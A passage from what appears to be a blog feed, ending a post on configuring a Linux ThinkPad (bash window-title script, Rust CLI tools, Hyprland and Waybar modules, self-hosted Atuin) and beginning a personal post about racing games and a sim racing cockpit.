<p><code>init.sh</code> does the integration work. Atuin with a manual bind for Ctrl-R (so the up arrow keeps bash&rsquo;s default history-search, which I use more). Keychain loading <code>~/.ssh/id_ed25519</code> once per boot and reusing it across shells (no need to re-authenticate SSH every time). Blesh if installed (ZSH-style autosuggestions for Bash). And a function that has PROMPT_COMMAND set the window title to the current pwd and the running command:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">__title_idle<span class="o">()</span> <span class="o">{</span> <span class="nb">printf</span> <span class="s1">&#39;\033]2;%s\007&#39;</span> <span class="s2">&#34;</span><span class="si">${</span><span class="nv">PWD</span><span class="p">/#</span><span class="nv">$HOME</span><span class="p">/~</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">;</span> <span class="o">}</span>
</span></span><span class="line"><span class="cl">__title_busy<span class="o">()</span> <span class="o">{</span>
</span></span><span class="line"><span class="cl">  <span class="nb">local</span> <span class="nv">cmd</span><span class="o">=</span><span class="s2">&#34;</span><span class="si">${</span><span class="nv">BASH_COMMAND</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="o">[[</span> <span class="s2">&#34;</span><span class="nv">$cmd</span><span class="s2">&#34;</span> <span class="o">==</span> <span class="s2">&#34;__title_&#34;</span>* <span class="o">||</span> <span class="s2">&#34;</span><span class="nv">$cmd</span><span class="s2">&#34;</span> <span class="o">==</span> *<span class="s2">&#34;PROMPT_COMMAND&#34;</span>* <span class="o">]]</span> <span class="o">&amp;&amp;</span> <span class="k">return</span>
</span></span><span class="line"><span class="cl">  <span class="nb">printf</span> <span class="s1">&#39;\033]2;%s — %s\007&#39;</span> <span class="s2">&#34;</span><span class="si">${</span><span class="nv">PWD</span><span class="p">/#</span><span class="nv">$HOME</span><span class="p">/~</span><span class="si">}</span><span class="s2">&#34;</span> <span class="s2">&#34;</span><span class="nv">$cmd</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="o">[[</span> -n <span class="s2">&#34;</span><span class="si">${</span><span class="nv">PROMPT_COMMAND</span><span class="p">-</span><span class="si">}</span><span class="s2">&#34;</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">  <span class="nv">PROMPT_COMMAND</span><span class="o">=</span><span class="s2">&#34;__title_idle; </span><span class="si">${</span><span class="nv">PROMPT_COMMAND</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">else</span>
</span></span><span class="line"><span class="cl">  <span class="nv">PROMPT_COMMAND</span><span class="o">=</span><span class="s2">&#34;__title_idle&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">fi</span>
</span></span><span class="line"><span class="cl"><span class="nb">trap</span> <span class="s1">&#39;__title_busy&#39;</span> DEBUG</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Idle, the title shows just the pwd. With a command running, <code>trap DEBUG</code> catches the <code>BASH_COMMAND</code> and updates the title. Waybar&rsquo;s <code>hyprland/window</code> picks that up and displays it.</p>
<p>For the modern Rust toolbelt, the list:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo pacman -S --needed <span class="se">\
</span></span></span><span class="line"><span class="cl">  eza bat fd ripgrep sd git-delta dust procs bottom duf tokei hyperfine <span class="se">\
</span></span></span><span class="line"><span class="cl">  zoxide atuin tldr starship</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><code>eza</code> replaces <code>ls</code>. <code>bat</code> replaces <code>cat</code> with syntax highlighting. <code>fd</code> replaces <code>find</code>. <code>ripgrep</code> replaces <code>grep</code>. <code>sd</code> replaces <code>sed</code>. <code>delta</code> plugs into git for colored side-by-side diff. <code>dust</code> for visual <code>du</code>. <code>procs</code> for <code>ps</code>. <code>btm</code> (bottom) for <code>top</code>. <code>duf</code> for <code>df</code>. <code>tokei</code> counts lines of code. <code>hyperfine</code> for command benchmarking. <code>zoxide</code> is <code>cd</code> with memory (very useful). <code>atuin</code> is shell history with encrypted sync (I point it to my home server via <code>sync_address = &quot;http://192.168.0.90:8888&quot;</code>). <code>starship</code> is the prompt. <code>tldr</code> is a man page in 10 lines.</p>
<p>The <code>atuin key</code> has to be backed up offline. If you lose it, you lose the encrypted history. I saved mine in my self-hosted Bitwarden (Vaultwarden), documented in the <a href="/en/2025/09/10/omarchy-2-0-bitwarden-self-hosted-vaultwarden/">Bitwarden self-hosted article</a>.</p>
<p>Git pipes diff through delta:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>[core]        pager = delta
[interactive] diffFilter = delta --color-only
[delta]       navigate side-by-side line-numbers hyperlinks, light=false
[merge]       conflictstyle = zdiff3</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>Hyprland and Waybar<span class="hx:absolute hx:-mt-20" id="hyprland-and-waybar"></span>
    <a href="#hyprland-and-waybar" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Visual and UX customizations on top of the default.</p>
<p>In <code>hypr/looknfeel.conf</code>, smaller gaps (2/5 vs the default 5/10), slide animation between workspaces, VFR on (reduces consumption when the screen is static), <code>allow_session_lock_restore</code> (if hyprlock crashes, it goes back to the lock screen instead of dumping you on the desktop).</p>
<p>In <code>hypr/bindings.conf</code>:</p>
<table>
  <thead>
      <tr>
          <th>Binding</th>
          <th>Action</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><code>Super+B</code></td>
          <td>Brave</td>
      </tr>
      <tr>
          <td><code>Super+L</code></td>
          <td>Lock screen (default was layout toggle)</td>
      </tr>
      <tr>
          <td><code>Super+Ctrl+L</code></td>
          <td>Layout toggle (moved here)</td>
      </tr>
      <tr>
          <td><code>Super+Ctrl+P</code></td>
          <td>Toggle TLP perf mode</td>
      </tr>
  </tbody>
</table>
<p>On Waybar, three custom modules I recommend:</p>
<p><strong>Window title</strong>: the <code>hyprland/window</code> module shows what&rsquo;s focused. In bash, PROMPT_COMMAND updates the title to something like &ldquo;~/Projects/blog — hugo server&rdquo;. So in waybar the directory and running command show up, without me needing to look at the terminal.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/hypr---window-title-on-waybar.png" alt="Waybar showing workspaces on the left and the focused window title with the pwd and the running command"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/hypr---another-window-title-on-waybar.png" alt="Another example of the window title on waybar, this time showing “Claude Code”"  loading="lazy" /></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsonc" data-lang="jsonc"><span class="line"><span class="cl"><span class="s2">&#34;hyprland/window&#34;</span><span class="err">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;format&#34;</span><span class="p">:</span> <span class="s2">&#34;{title}&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;max-length&#34;</span><span class="p">:</span> <span class="mi">50</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;rewrite&#34;</span><span class="p">:</span> <span class="p">{</span> <span class="nt">&#34;(.{47}).+&#34;</span><span class="p">:</span> <span class="s2">&#34;$1…&#34;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>Perf mode</strong>: <code>custom/perf</code> runs a script that reads TLP state and shows an icon:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsonc" data-lang="jsonc"><span class="line"><span class="cl"><span class="s2">&#34;custom/perf&#34;</span><span class="err">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;exec&#34;</span><span class="p">:</span> <span class="s2">&#34;~/.config/scripts/perf-waybar.sh&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;interval&#34;</span><span class="p">:</span> <span class="mi">3</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;format&#34;</span><span class="p">:</span> <span class="s2">&#34;{}&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;on-click&#34;</span><span class="p">:</span> <span class="s2">&#34;~/.config/scripts/perf-toggle.sh&#34;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Empty for balanced, 󰓅 PERF for performance, 󰌪 ECO for low-power. Click toggles. Useful to quickly see what mode the machine is in.</p>
<p><strong>Claudebar</strong>: I integrated <a href="https://github.com/alfredopiquet/claudebar"target="_blank" rel="noopener">claudebar</a> as a custom module that shows the Claude Code session usage % and extra spend inline in waybar. No need to open another window.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/hypr---power-profile-and-claudebar-next-to-traybar.png" alt="Claudebar showing 9%, 1h16m remaining and $1120.74 extra spend, followed by the PERF indicator and the tray"  loading="lazy" /></p>
<p>The clock:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsonc" data-lang="jsonc"><span class="line"><span class="cl"><span class="s2">&#34;clock&#34;</span><span class="err">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;format&#34;</span><span class="p">:</span> <span class="s2">&#34;{:L%A %d %B - %H:%M}&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;format-alt&#34;</span><span class="p">:</span> <span class="s2">&#34;{:L%A W%V %Y - %H:%M}&#34;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Shows &ldquo;Thursday 17 April - 14:32&rdquo; by default, click toggles to &ldquo;Thursday W16 2026 - 14:32&rdquo; with the ISO week number, useful for planning articles and tasks.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/hypr---better-date-time-on-waybar-center.png" alt="Waybar clock in the center with date and time"  loading="lazy" /></p>
<h3>Self-hosted Atuin<span class="hx:absolute hx:-mt-20" id="self-hosted-atuin"></span>
    <a href="#self-hosted-atuin" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Atuin runs on my home server at 192.168.0.90:8888. I made a separate account for the notebook (<code>akitaonrails-thinkpad</code>), I don&rsquo;t mix history with the desktop on purpose. <code>atuin sync</code> runs every 5 minutes and all history is encrypted before going to the server. The server doesn&rsquo;t see the commands, only encrypted bytes.</p>
<h2>Conclusion: picking a notebook for Linux<span class="hx:absolute hx:-mt-20" id="conclusion-picking-a-notebook-for-linux"></span>
    <a href="#conclusion-picking-a-notebook-for-linux" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>One thing I learned on this journey: picking a notebook to run Linux comfortably is not trivial. You have to check the <a href="https://wiki.archlinux.org/title/Laptop"target="_blank" rel="noopener">ArchWiki</a> for your specific model before buying. The <a href="https://wiki.archlinux.org/title/Lenovo_ThinkPad_T14s_%28AMD%29_Gen_6"target="_blank" rel="noopener">T14s Gen 6 AMD page</a>, for example, catalogs every hardware quirk and how to work around it. Without that reference, you discover the problems during install.</p>
<p>Rule I follow: never buy a freshly-released model. Let 6 to 12 months go by after launch. That gives the community time to iron out bugs, drivers to land mainline, the ArchWiki to have a decent page, libfprint to include the fingerprint sensor, and the kernel to cover WiFi and the IR camera. Buying on day one means signing up as a beta tester.</p>
<p>Brands with a decent Linux track record: Lenovo (especially Thinkpad, they ship Ubuntu and Fedora pre-loaded), Dell (the XPS and Latitude lines), Asus (Zenbook and ROG have reasonable support), Framework (built for Linux from the factory). Any recent Mac is cut off from Linux mainline or runs through Asahi with caveats.</p>
<p>The Thinkpad T14 Gen 6 isn&rsquo;t the prettiest notebook I could have bought. But it&rsquo;s rugged, it has the right ports, the fingerprint sensor works, and the plastic shell lets it fall, get scratched, travel in a backpack without making me nervous. To serve as a remote debug companion, it&rsquo;s what I needed. If that&rsquo;s your use case too, I recommend it. If you want OLED and metal, go Zenbook or T14s. Every premium comes with a compromise, no Linux notebook in 2026 is perfect.</p>
<p>Everything I described here is versioned in a private repo of mine. If I need to reinstall tomorrow, I run half a dozen steps in order and I&rsquo;m back at the same place. That&rsquo;s the whole point of keeping config in Git: notebook is commodity, config is mine.</p>
]]></content:encoded><category>omarchy</category><category>linux</category><category>hardware</category><category>reviews</category></item><item><title>My Sim Racing Cockpit - Formula FX1</title><link>https://akitaonrails.github.io/en/2026/04/01/my-sim-racing-cockpit-formula-fx1/</link><guid isPermaLink="true">https://akitaonrails.github.io/en/2026/04/01/my-sim-racing-cockpit-formula-fx1/</guid><pubDate>Wed, 01 Apr 2026 17:00:00 -0300</pubDate><description>&lt;p&gt;I&amp;rsquo;ve loved cars for as long as I can remember. My first real contact with racing games was at the arcades of the 80s and 90s. And when I say &amp;ldquo;real,&amp;rdquo; I mean sitting at a cabinet with a wheel, pedals, a hard plastic seat and the screen wrapping in front of you. &lt;a href="https://en.wikipedia.org/wiki/Out_Run"target="_blank" rel="noopener"&gt;OutRun&lt;/a&gt; (1986), &lt;a href="https://en.wikipedia.org/wiki/Rad_Mobile"target="_blank" rel="noopener"&gt;Rad Mobile&lt;/a&gt; (1991), &lt;a href="https://en.wikipedia.org/wiki/Virtua_Racing"target="_blank" rel="noopener"&gt;Virtua Racing&lt;/a&gt; (1992), &lt;a href="https://en.wikipedia.org/wiki/Ridge_Racer"target="_blank" rel="noopener"&gt;Ridge Racer&lt;/a&gt; (1993), &lt;a href="https://en.wikipedia.org/wiki/Daytona_USA_%28video_game%29"target="_blank" rel="noopener"&gt;Daytona USA&lt;/a&gt; (1994), &lt;a href="https://en.wikipedia.org/wiki/Scud_Race"target="_blank" rel="noopener"&gt;Scud Race&lt;/a&gt; (1996). Every one of those games left a mark on me. But Daytona USA stuck in a different way. That twin cabinet, two machines side by side, the &amp;ldquo;DAYTONAAA, let&amp;rsquo;s go away&amp;rdquo; track blasting through the arcade, the wheel rumbling in your hand. I still remember it.&lt;/p&gt;</description><content:encoded><![CDATA[<p>I&rsquo;ve loved cars for as long as I can remember. My first real contact with racing games was at the arcades of the 80s and 90s. And when I say &ldquo;real,&rdquo; I mean sitting at a cabinet with a wheel, pedals, a hard plastic seat and the screen wrapping in front of you. <a href="https://en.wikipedia.org/wiki/Out_Run"target="_blank" rel="noopener">OutRun</a> (1986), <a href="https://en.wikipedia.org/wiki/Rad_Mobile"target="_blank" rel="noopener">Rad Mobile</a> (1991), <a href="https://en.wikipedia.org/wiki/Virtua_Racing"target="_blank" rel="noopener">Virtua Racing</a> (1992), <a href="https://en.wikipedia.org/wiki/Ridge_Racer"target="_blank" rel="noopener">Ridge Racer</a> (1993), <a href="https://en.wikipedia.org/wiki/Daytona_USA_%28video_game%29"target="_blank" rel="noopener">Daytona USA</a> (1994), <a href="https://en.wikipedia.org/wiki/Scud_Race"target="_blank" rel="noopener">Scud Race</a> (1996). Every one of those games left a mark on me. But Daytona USA stuck in a different way. That twin cabinet, two machines side by side, the &ldquo;DAYTONAAA, let&rsquo;s go away&rdquo; track blasting through the arcade, the wheel rumbling in your hand. I still remember it.</p>
<p><img src="https://upload.wikimedia.org/wikipedia/commons/2/24/DaytonaUSA_arcade_SaoPaulo.jpg" alt="Daytona USA machines at a São Paulo mall — exactly the kind of twin cabinet that’s burned into my memory"  loading="lazy" /></p>
<p>But the game that really got me hooked on the simcade genre was the original <a href="https://en.wikipedia.org/wiki/Gran_Turismo_%28video_game%29"target="_blank" rel="noopener">Gran Turismo</a>, in 1997, on the PlayStation 1. &ldquo;The Real Driving Simulator&rdquo; on the cover. I played that game obsessively. Around the same time I was watching the <a href="https://en.wikipedia.org/wiki/Initial_D"target="_blank" rel="noopener">Initial D</a> anime, which premiered in 1998 in Japan. I bought every manga volume and read all of it from start to finish. The story of Takumi Fujiwara going down Mount Akina at dawn delivering tofu in his father&rsquo;s AE86 is, to me, one of the best motorsport stories ever told in any medium.</p>
<p>I still follow Shuichi Shigeno&rsquo;s work today. After Initial D came <a href="https://kodansha.us/series/mf-ghost/"target="_blank" rel="noopener">MF Ghost</a> (2017-2025), set in the same universe but in a near future where combustion cars have become museum pieces. And now, since July 2025, I&rsquo;m reading <a href="https://kmanga.kodansha.com/title/10664/episode/360584"target="_blank" rel="noopener">Subaru and Subaru</a>, the direct sequel that ties the Initial D and MF Ghost universes together with two protagonists named Subaru — one from Gunma, one from Kanagawa — competing in a new racing series. It&rsquo;s Shigeno at his best.</p>
<p><a href="https://kmanga.kodansha.com/title/10664/episode/360584"target="_blank" rel="noopener"><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/subaru-x-subaru-cover.png" alt="Subaru and Subaru — Shigeno’s new manga, the direct sequel to Initial D and MF Ghost"  loading="lazy" /></a></p>
<p>Two years ago I traveled to Japan with my girlfriend and made a point of going to <a href="https://en.wikipedia.org/wiki/Daikoku_Parking_Area"target="_blank" rel="noopener">Daikoku PA</a>, the famous parking area on the Shuto Expressway in Yokohama where the JDM culture concentrates. As an old fan of <a href="https://store.steampowered.com/app/2634950/Tokyo_Xtreme_Racer/"target="_blank" rel="noopener">Tokyo Xtreme Racer</a>, by Genki, I needed to see Daikoku with my own eyes at least once. And it didn&rsquo;t disappoint. Instead of renting a car, we booked a tour with a local guide in his prepped Nissan GT-R. Better that way. On the drive there he explained the history of the Wangan, how the scene works, what&rsquo;s YouTube exaggeration and what&rsquo;s real. When we got there on a Friday night and I saw the whole thing in person — Skyline R34, RX-7, Supra, GT-R, tuned kei trucks, insane bosozoku — the feeling was strange in the best possible way. It looked like Tokyo Xtreme Racer, except with the smell of fuel in the air and the sound of real exhaust pipes.</p>
<p>And there&rsquo;s another detail: I&rsquo;m playing the new <a href="https://store.steampowered.com/app/2634950/Tokyo_Xtreme_Racer/"target="_blank" rel="noopener">Tokyo Xtreme Racer</a> reboot on PC, and it&rsquo;s exactly the kind of game that understands its own audience. Strong single-player campaign, addictive progression, the right vibe, and none of the loot box nonsense. I&rsquo;d recommend it without hesitation. For the same reason, I&rsquo;m also really looking forward to <a href="https://forza.net/forzahorizon6"target="_blank" rel="noopener">Forza Horizon 6</a>, which this time is going to be set in Japan. I&rsquo;ve already pre-ordered it and I can&rsquo;t wait to play it on the new cockpit.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/daikoku---nissan.jpg" alt="At Daikoku PA with a modified GT-R"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/daikoku---trueno.jpg" alt="With an AE86 Trueno at Daikoku PA — Takumi’s car"  loading="lazy" /></p>
<h2>Driving for real<span class="hx:absolute hx:-mt-20" id="driving-for-real"></span>
    <a href="#driving-for-real" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Now that I&rsquo;m semi-retired, I&rsquo;ve had the chance to take my Mercedes to track days. I&rsquo;ve driven at <a href="https://en.wikipedia.org/wiki/Aut%C3%B3dromo_Jos%C3%A9_Carlos_Pace"target="_blank" rel="noopener">Autódromo de Interlagos</a> (the Autódromo José Carlos Pace), the 4.309 km circuit in São Paulo that&rsquo;s been hosting the Brazilian F1 GP since 1973, famous for the S do Senna corner complex and the circuit&rsquo;s wild elevation changes. I&rsquo;ve also driven at <a href="https://www.velocittapark.com.br/"target="_blank" rel="noopener">Autódromo Velocitta</a>, a modern 3.443 km circuit opened in 2014 in Mogi Guaçu in the interior of São Paulo, which hosts Stock Car Brasil and Porsche Cup.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/velocitta.jpg" alt="At Velocitta with my Mercedes during an AMG track day"  loading="lazy" /></p>
<p>In Las Vegas I&rsquo;ve driven supercars on those track-day experiences. And when I traveled with my girlfriend to Gramado, in Rio Grande do Sul, we went to <a href="https://supercarros.cc/"target="_blank" rel="noopener">Super Carros</a>, which is on Av. das Hortênsias 4635. They have a 2,400 m² hangar with more than 50 cars — Ferraris, Lamborghinis, Porsches, GT-Rs, Corvettes, American muscle cars. You pick a car, head out with an instructor, and drive a roughly 17 km route between Gramado and Canela. I took out a Nissan GT-R and a Ferrari California.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/gramado---gtr.jpg" alt="With a GT-R in Gramado"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/gramado---ferrari.jpg" alt="With a Ferrari California in Gramado"  loading="lazy" /></p>
<p>Three years ago I also went to Abu Dhabi with my girlfriend and we went to Ferrari World, which has some of the best racing simulators I&rsquo;ve ever tried. Hydraulic platform with 6 degrees of freedom, F1 cockpit, the works. I&rsquo;ve always loved testing simulators wherever I go.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/ferrari-park.jpg" alt="F1 simulator with a hydraulic platform at Ferrari World in Abu Dhabi"  loading="lazy" /></p>
<p>But driving real cars on real tracks is a very expensive hobby. Tires, fuel, insurance, maintenance, registration. And more important: I&rsquo;m an introvert. I prefer being alone. My simulator cockpit is perfect for when I want to drive without having to deal with anyone. That&rsquo;s why I love rally so much — it&rsquo;s me, the virtual co-driver, and the road. Nothing else.</p>
<h2>The games I play<span class="hx:absolute hx:-mt-20" id="the-games-i-play"></span>
    <a href="#the-games-i-play" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>I know most people who build a cockpit like this do it to play serious sims — iRacing, Assetto Corsa Competizione, Automobilista 2. I respect that, but it isn&rsquo;t my thing. I don&rsquo;t like playing online with other people. I have zero intention of starting a live streaming career. This is purely for my own enjoyment.</p>
<p>These days I play Gran Turismo 7 on the PS5, <a href="https://store.steampowered.com/app/2440510/Forza_Motorsport/"target="_blank" rel="noopener">Forza Motorsport</a> (the 8, from 2023) on PC, but where I have the most fun is in rally games: <a href="https://store.steampowered.com/app/1849250/EA_SPORTS_WRC/"target="_blank" rel="noopener">EA SPORTS WRC</a>, <a href="https://store.steampowered.com/app/1462810/WRC_10_FIA_World_Rally_Championship/"target="_blank" rel="noopener">WRC 10</a> and <a href="https://store.steampowered.com/app/690790/DiRT_Rally_20/"target="_blank" rel="noopener">DiRT Rally 2.0</a>. My first experience with Forza was on the Xbox One with Forza Motorsport 5 and then Forza Horizon 4, which kept me hooked for hundreds of hours.</p>
<p>And I have a huge soft spot for retro games. The original Colin McRae Rally from 1998 on the PS1 was my first rally game. But my favorite of all time is Colin McRae Rally 2.0 (2000), also on the PS1. I recently played through the entire campaign again on the PC version — you can find repacks that run in high resolution and widescreen, much better than the original PlayStation versions. I&rsquo;d recommend that for any of the titles in the series.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/colin-mcrae-rally-2-gameplay.jpg" alt="Colin McRae Rally 2.0 running in widescreen on PC — snow in Sweden with the Ford Focus"  loading="lazy" /></p>
<p>After that came Colin McRae 3 (2002), Colin McRae Rally 04 (2003) and Colin McRae 2005 (2004). Other arcades I revisit often: OutRun 2 SP (2004) and OutRun 2006: Coast 2 Coast (2006) — the best OutRun ever made, in my opinion.</p>
<p>But my game of the year, by a long shot, is <a href="https://store.steampowered.com/app/3218630/Super_Woden_Rally_Edge/"target="_blank" rel="noopener">Super Woden: Rally Edge</a>. An indie made by a solo developer (ViJuDa, from Spain) that launched in January 2026 for less than R$ 60. Eight countries, more than 80 cars, a career mode, local split-screen multiplayer for up to 4 players, online leaderboards. The behind-the-car camera instead of the top-down view of the previous Super Woden GP made all the difference. 96% positive reviews on Steam with more than 1,300 ratings. It&rsquo;s the kind of game that proves you don&rsquo;t need a million-dollar budget to make something amazing.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/super-woden-rally-edge.jpg" alt="Super Woden: Rally Edge — indie made by a solo dev that competes with the big ones"  loading="lazy" /></p>
<h2>The evolution of my wheel setup<span class="hx:absolute hx:-mt-20" id="the-evolution-of-my-wheel-setup"></span>
